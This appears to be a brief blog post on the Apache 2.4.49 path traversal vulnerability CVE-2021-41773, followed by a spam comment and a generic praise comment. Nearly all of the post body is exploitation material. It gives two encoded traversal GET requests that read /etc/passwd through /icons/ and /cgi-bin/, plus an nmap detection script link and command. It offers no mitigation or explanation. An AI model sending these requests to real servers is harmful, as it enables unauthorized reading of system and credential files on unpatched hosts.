Apache-/2.4.49-CVE-2021-41773: Path Traversal Vulnerability

Apache-/2.4.49-CVE-2021-41773: Path Traversal Vulnerability

Below are the detals for exploitation of this vulnerability:

  • GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd
  • GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
  • nmap  script at https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse
  • nmap script=http-vuln-cve-2021-41773.nse <target>

Proof of Concept:


Reference:

  • https://github.com/blasty/CVE-2021-41773
  • https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited

Comments

  1. frog16 October 2021 at 06:40

    Hey friend, it is very well written article, thank you for the valuable and useful information you provide in this post. Keep up the good work! FYI, please check these depression, stress and anxiety related articles:
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  2. Darren Demers10 June 2026 at 10:24

    This article provides a concise and practical overview of the Apache 2.4.49 CVE-2021-41773 path traversal vulnerability, clearly illustrating the exploitation process and highlighting the security risks associated with improper path normalization. The inclusion of proof-of-concept examples and relevant references makes it a valuable resource for security professionals, researchers, and system administrators seeking to understand, assess, and mitigate this critical vulnerability. Excellent work presenting complex technical information in an accessible and informative manner.
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